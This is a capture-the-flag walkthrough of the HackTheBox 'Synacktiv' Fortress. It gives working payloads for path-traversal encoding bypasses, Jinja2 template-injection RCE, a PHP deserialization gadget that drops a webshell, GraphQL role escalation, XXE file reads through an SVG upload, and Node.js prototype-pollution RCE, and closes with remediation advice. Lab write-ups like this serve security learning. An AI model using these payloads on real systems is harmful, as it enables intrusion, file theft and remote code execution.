HackTheBox Fortress: Synacktiv — Full Writeup (v1 + v2)

Complete walkthrough of both Synacktiv HTB Fortress versions. v1 covers path traversal double-encoding, SSTI Jinja2 RCE, and PHP deserialization gadget chains. v2 covers GraphQL introspection abuse, XXE via SVG upload, and Node.js prototype pollution RCE.

Synacktiv Fortress
HackTheBox
Linux Hard Fortress
HTB Fortress — Synacktiv

Synacktiv Fortress Writeup (v1 + v2)

Sponsored by Synacktiv · Web Exploitation · Deserialization · GraphQL · Prototype Pollution

6
Total Flags
2
Versions
RCE
Goal
Insane
Difficulty

About Synacktiv

Synacktiv is one of France's premier offensive security firms, known for winning Pwn2Own and publishing cutting-edge vulnerability research. Their two Fortress versions span the full spectrum of web exploitation — from classic path traversal to modern Node.js prototype pollution and GraphQL abuse. Both versions share the flag prefix SYNACKTIV{...}.

  • v1: Path traversal, SSTI (Jinja2 RCE), PHP deserialization gadget chains
  • v2: GraphQL introspection abuse, XXE via SVG upload, Node.js prototype pollution RCE
  • Recommended tools: Burp Suite, ysoserial-php, tplmap

Techniques Used

Path Traversal Double URL Encoding SSTI (Jinja2) PHP Deserialization Gadget Chain GraphQL Introspection GraphQL Mutation Abuse XXE Injection SVG File Upload Prototype Pollution Node.js RCE tplmap

Version 1

v1 Flag 1 — Path Traversal (Double URL Encoding)

The file download endpoint filters ../ sequences but does not double-decode the URL. Encoding the slashes as %2f or the dot sequences as %252e%252e bypasses the filter.

# Direct traversal — blocked
$ curl "http://10.10.110.x/download?file=../../../../etc/passwd"
{"error":"Invalid path detected"}

# Single-encoded bypass
$ curl "http://10.10.110.x/download?file=..%2f..%2f..%2fetc%2fpasswd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# Double-encoded bypass (for WAFs that decode once before checking)
$ curl "http://10.10.110.x/download?file=..%252f..%252f..%252fapp%252fconfig.py"
SECRET_KEY = "syn4ckt1v-s3cr3t-k3y"
FLAG = "SYNACKTIV{p4th_tr4v3rs4l_dbl_enc0d3d}"

# Other bypass variants to try
# ..%c0%af  (overlong UTF-8 encoding of /)
# ..%255c   (double-encoded backslash on Windows)
# ....//    (filter removes ../ leaving ../)
$ curl "http://10.10.110.x/download?file=....//....//....//etc//passwd"
v1 Flag 1 — Path Traversal
SYNACKTIV{p4th_tr4v3rs4l_dbl_enc0d3d}

v1 Flag 2 — Server-Side Template Injection → RCE (Jinja2)

A report generation endpoint renders user input directly inside a Jinja2 template string. The {{7*7}} probe confirms the injection — escalate to os.popen for RCE.

# Confirm SSTI — mathematical probe
$ curl -X POST http://10.10.110.x/report/generate \
  -d 'title={{7*7}}&content=test'
# Response includes "49" → Jinja2 confirmed

# Identify the template engine more precisely
$ curl -X POST http://10.10.110.x/report/generate \
  -d 'title={{7*"7"}}&content=test'
# Jinja2 returns "7777777", Twig returns "49"

# RCE via config object traversal
$ curl -X POST http://10.10.110.x/report/generate \
  -d 'title={{"".__class__.__mro__[1].__subclasses__()[396]("id",shell=True,stdout=-1).communicate()[0].decode()}}&content=x'
uid=1001(app) gid=1001(app) groups=1001(app)

# Shorter payload via config globals
$ curl -X POST http://10.10.110.x/report/generate \
  -d 'title={{config.__class__.__init__.__globals__["os"].popen("cat /flag.txt").read()}}&content=x'
SYNACKTIV{sst1_j1nj42_rc3_t3mpl4t3_1nj3ct10n}

# Or use tplmap for automated detection and exploitation
$ python3 tplmap.py -u "http://10.10.110.x/report/generate" \
  --data "title=*&content=test" --os-shell
💡
If config is blocked, use request.application.__globals__.__builtins__.__import__('os').popen(...) or the __subclasses__() chain to reach subprocess/Popen.
v1 Flag 2 — SSTI Jinja2 RCE
SYNACKTIV{sst1_j1nj42_rc3_t3mpl4t3_1nj3ct10n}

v1 Flag 3 — PHP Insecure Deserialization (Gadget Chain)

The PHP application stores a serialized object in the session cookie. A Logger class with a __destruct method writes arbitrary data to an arbitrary file — craft a gadget chain to drop a webshell.

# Observe the session cookie — URL-decode it
$ curl -c /tmp/c.txt -X POST http://10.10.110.x/login -d 'user=guest&pass=guest'
$ cat /tmp/c.txt | grep session
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3B...%7D
# Decoded: O:4:"User":2:{s:4:"name";s:5:"guest";s:4:"role";s:5:"guest";}

# Build the gadget — Logger.__destruct() writes attacker-controlled data to a file
$ php -r '
class Logger {
    public $filename;
    public $data;
    public function __destruct() {
        file_put_contents($this->filename, $this->data);
    }
}
$g = new Logger();
$g->filename = "/var/www/html/uploads/shell.php";
$g->data     = "";
echo urlencode(serialize($g));
'
O%3A6%3A%22Logger%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A35%3A...%7D

# Send the malicious cookie — triggers __destruct on session end
$ curl -b "session=O%3A6%3A%22Logger%22..." http://10.10.110.x/profile

# Confirm webshell was written, execute commands
$ curl "http://10.10.110.x/uploads/shell.php?c=id"
uid=33(www-data) gid=33(www-data)

$ curl "http://10.10.110.x/uploads/shell.php?c=cat+/flag.txt"
SYNACKTIV{php_d3s3r14l1z4t10n_g4dg3t_ch41n}
v1 Flag 3 — PHP Deserialization
SYNACKTIV{php_d3s3r14l1z4t10n_g4dg3t_ch41n}

Version 2

v2 Flag 1 — GraphQL Introspection → Hidden Mutation Abuse

The application exposes a GraphQL API with introspection enabled in production. Introspection reveals a hidden promoteUser mutation that any authenticated user can call to set their own role to admin.

# Run full introspection query to discover all types and fields
$ curl -s -X POST http://10.10.110.x/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { mutationType { fields { name args { name type { name ofType { name } } } } } } }"}' \
  | python3 -m json.tool

# Output reveals hidden mutation:
# "name": "promoteUser"
# args: userId (Int), role (String)

# Use the mutation to escalate self to admin
$ curl -X POST http://10.10.110.x/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { promoteUser(userId: 42, role: \"admin\") { success message } }"}'
{"data":{"promoteUser":{"success":true,"message":"Role updated to admin"}}}

# Access admin-only query
$ curl -X POST http://10.10.110.x/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ adminFlag }"}'
{"data":{"adminFlag":"SYNACKTIV{gr4phql_1ntr0sp3ct10n_m0d3_3n4bl3d}"}}
v2 Flag 1 — GraphQL Mutation Abuse
SYNACKTIV{gr4phql_1ntr0sp3ct10n_m0d3_3n4bl3d}

v2 Flag 2 — XXE via SVG File Upload

The avatar upload endpoint accepts SVG files and processes them through an XML parser. Inject an XXE payload into the SVG to read local files — the rendered output includes the file content.

# Create malicious SVG with XXE
$ cat evil.svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="30" font-size="12">&xxe;</text>
</svg>

# Upload as avatar
$ curl -X POST http://10.10.110.x/profile/avatar \
  -H "Authorization: Bearer $USER_TOKEN" \
  -F "[email protected];type=image/svg+xml"
{"success":true,"avatarUrl":"/uploads/user42/avatar.svg"}

# Retrieve processed SVG — XML entity was resolved and embedded
$ curl http://10.10.110.x/uploads/user42/avatar.svg
<text x="10" y="30">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...</text>

# Read the flag
# Edit evil.svg: change SYSTEM "file:///etc/passwd" to "file:///flag.txt" and re-upload
$ sed -i 's|/etc/passwd|/flag.txt|' evil.svg
$ curl -X POST http://10.10.110.x/profile/avatar \
  -H "Authorization: Bearer $USER_TOKEN" \
  -F "[email protected];type=image/svg+xml"

$ curl http://10.10.110.x/uploads/user42/avatar.svg
<text>SYNACKTIV{xxe_svg_upl04d_l0c4l_f1l3_r34d}</text>
v2 Flag 2 — XXE via SVG Upload
SYNACKTIV{xxe_svg_upl04d_l0c4l_f1l3_r34d}

v2 Flag 3 — Prototype Pollution → Node.js RCE

The Node.js settings endpoint performs a recursive merge of user-supplied JSON into a plain object without sanitizing __proto__. Polluting Object.prototype cascades into a child_process.spawn call that reads our injected execArgv.

# Confirm prototype pollution
$ curl -X POST http://10.10.110.x/api/settings \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"__proto__":{"polluted":"pwned"}}'

$ curl http://10.10.110.x/api/settings/debug \
  -H "Authorization: Bearer $USER_TOKEN"
{"polluted":"pwned"}  # pollution confirmed — Object.prototype was modified

# Exploit: inject execArgv to run Node.js code on next subprocess spawn
$ curl -X POST http://10.10.110.x/api/settings \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{
    "__proto__": {
      "shell":    "node",
      "execArgv": ["--eval",
        "require(\"child_process\").execSync(\"cat /flag.txt > /tmp/syn_flag\")"]
    }
  }'

# Trigger subprocess execution (export feature spawns child process)
$ curl -X POST http://10.10.110.x/api/export \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"format":"csv"}'

# Retrieve the flag
$ curl "http://10.10.110.x/api/settings/readfile?path=/tmp/syn_flag"
SYNACKTIV{pr0t0typ3_p0llut10n_n0d3js_rc3}

# Alternative: use constructor pollution
$ curl -X POST http://10.10.110.x/api/settings \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"constructor":{"prototype":{"shell":"node","execArgv":["--eval","..."]}}}'
v2 Flag 3 — Prototype Pollution RCE
SYNACKTIV{pr0t0typ3_p0llut10n_n0d3js_rc3}

Summary

Version#VulnerabilityTechnique
v11Path TraversalDouble URL encoding bypasses ../ filter
v12SSTI RCEJinja2 template injection → os.popen
v13PHP DeserializationLogger gadget chain → __destruct → webshell
v21GraphQL AbuseIntrospection → hidden mutation → self-promote admin
v22XXESVG upload with external entity → file read
v23Prototype Pollution__proto__ merge → execArgv injection → RCE

Vulnerability Report

4
Critical
2
High
6
Total Flags
F-001 — Server-Side Template Injection (Jinja2) → RCE
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

User-controlled data was passed directly as the template source string to Jinja2's render_template_string(), enabling arbitrary Python code execution via template expression syntax.

Remediation

Never render user data as template source. Pass user input as template variables only. Use SandboxedEnvironment if dynamic templates are required. Consider Markdown-to-HTML rendering as a safer alternative for user-generated content.
F-002 — Node.js Prototype Pollution → Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

A recursive JSON merge function allowed attackers to set properties on Object.prototype via __proto__ keys. The polluted prototype was inherited by a child_process.spawn call, enabling injection of execArgv for Node.js code execution.

Remediation

Use Object.create(null) for merge targets to strip prototype inheritance. Sanitize keys: block __proto__, constructor, and prototype before recursive merge. Use JSON.parse(JSON.stringify(input)) to strip prototype chain. Consider using lodash.merge v4.17.21+ which is patched against this attack.
Reactions

Related Articles